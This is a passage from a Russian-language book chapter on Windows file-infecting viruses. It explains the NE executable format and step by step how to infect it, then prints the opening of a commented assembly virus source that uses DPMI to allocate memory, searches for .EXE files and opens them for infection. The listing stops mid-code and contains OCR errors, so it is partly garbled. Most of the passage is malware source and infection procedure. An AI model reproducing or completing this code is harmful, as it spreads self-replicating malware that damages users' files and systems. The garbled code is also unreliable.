Часть полного текста документа:ВИРУСЫ ПОД WINDOWS В этой главе рассказано о вирусах, заражающих фай- лы в операционной среде Windows. Наиболее подробно рассмотрены вирусы под Windows 95, Представлены исходные тексты вирусов с подробными комментариями, Также приведены основные сведения о запускаемых фай- лах программ под Windows, их структуре, отличиях от файлов DOS, Вирусы под Windows 3.11 В исполняемом файле Windows содержатся в различных комбинациях код, данные и ресурсы. Ресурсы - это BIN-данные для прикладных про- грамм. Учитывая возможность запуска файла из DOS, формат данных должен распознаваться обеими системами - и DOS, и Windows. Для этого все исполняемые файлы под Windows содержат два заголов- ка. Первый заголовок (старый) - распознается DOS как программа, вы- водящая на экран "This program requires Microsoft Windows". Второй заголовок (NewEXE) - для работы в Windows (см. приложение). Как же заразить Windows NewEXE? На первый взгляд файл формата WinNE - обычный ЕХЕ-файл. Начинается он с заголовка ЕХЕ для DOS и программы (STUB), которая выводит сообщение "This program requires Microsoft Windows". Если в ЕХЕ-заголовке по смещению 18h стоит число 40h или больше, значит по смещению 3Ch находится смещение заголовка NewEXE. Заголовок NewEXE начинается с символов "NE". Далее идет собствен- но заголовок, в котором содержатся различные данные, в том числе ад- реса смещений таблиц сегментов, ресурсов и другие. После заголовка расположена таблица сегментов, за ней - все остальные таблицы, далее размещены собственно сегменты с кодом. Итак, порядок действий: 1. Адрес заголовка NewEXE (DOS_Header+3Ch) уменьшается на 8. 2. Заголовок NewEXE сдвигается на 8 байт назад. 3. В таблицу сегментов добавляется новый элемент, описывающий сегмент вируса. 4. CS:IP NewEXE изменяется на начало вирусного кода, само тело вируса дописывается в конец файла. Для загрузки в память (надо перехватить вектор INT 21h из-под Windows) необходимо использовать функции DPMI (INT 31h). Дей- ствия: выделение сегмента, изменение его прав доступа, запись вируса, перехват прерывания 21h (делается с помощью функций DPMI). В качестве примера приведен полный исходный текст вируса под Windows. Принципы заражения такие же, как и при заражении^обычного ЕХЕ-фай- ла,- изменяется структура ЕХЕ-файла и среда, в которЬй он работает. .286 .MODEL TINY .CODE ;Сохраним регистры и флаги pushf pusha push ds push es .Проверим, доступен ли DPMI. Если доступен, Продолжаем, если нет - выходим mov ax,1686h int 2Fh or ax, ax jz dpmi_exist ;Восстановим регистры и флаги exit: pop es pop ds popa popf .Запустим программу-носитель db OEAh reloclP dw 0 relocCS dw OFFFFh dpmi_exist: ;Выделим линейный блок памяти, используя DPMI mov ax,0501h mov cx,OFFFFh xor bx.bx int 31 h ;Сохраним индекс и 32-битный линейный адрес .полученного блока памяти в стеке push si ~^ push di push bx push ex ;Создадим дескриптор в таблице LDT хог ах,ах mov ex, 1 int 31 h ;B поле адреса полученного дескриптора .установим адрес нужного блока памяти mov bx,ax mov ах,7 pop dx pop ex int •31h ;B поле предела полученного дескриптора остановим размер выделенного блока памяти mov ах,8 mov dx,OFFFFh хог сх.сх int 31h ;В поле прав доступа полученного дескриптора установим значение, соответствующее сегменту данных, доступному для чтения и записи mov ах,9 mov cl, 1111001 Ob хог ch,ch int 31h ;3агрузим селектор в регистр DS. После этого регистр DS будет оказывать на выделенный блок памяти mov ds.bx .Читаем из стека и сохраняем в памяти ;индекс полученного блока памяти pop [mem_hnd+2] pop [mem_hnd] Получим текущую DTA mov ah,2Fh int 21 h mov [DTA],bx mov [DTA+2],es ;Найдем первый ЕХЕ-файл (маска *.ЕХЕ) mov ah,4Eh xor ex,ex mov dx,OFFSET wild_exe push ds push cs pop ds int 21 h pop ds ;Если файл найден, перейдем к заражению, иначе освободим ;выделенную область памяти и запустим программу-носитель jnc found_exe ;0свободим выделенную область памяти call free .Запустим программу-носитель jmp exit .Перейдем к следующему файлу - этот не подходит close_exe: ; Закроем файл mov ah,3Eh int 21h ;Найдем следующий файл mov ah,4Fh int 21h ;Если файл найден, перейдем к заражению, иначе освободим -.выделенную область памяти и запустим программу-носитель jnc found_exe ;0свободим выделенную область памяти call free ;3апустим программу-носитель jmp exit ;Файл найден, проверим его на пригодность к заражению found ехе: ;0ткроем файл для чтения и записи push ds Ids dx, DWORD PTR [DTA] add dx.lEh mov ax,3D02h int 21 h pop ds .Прочтем старый заголовок mov dx.OFFSET old_hdr mov bx.ax mov cx,40h mov ah,3Fh int 21h ;Проверим сигнатуру, это ЕХЕ-файл? cmp WORD PTR [old_hdr],"ZM" jne close_exe [Проверим смещение таблицы настройки адресов. ............ |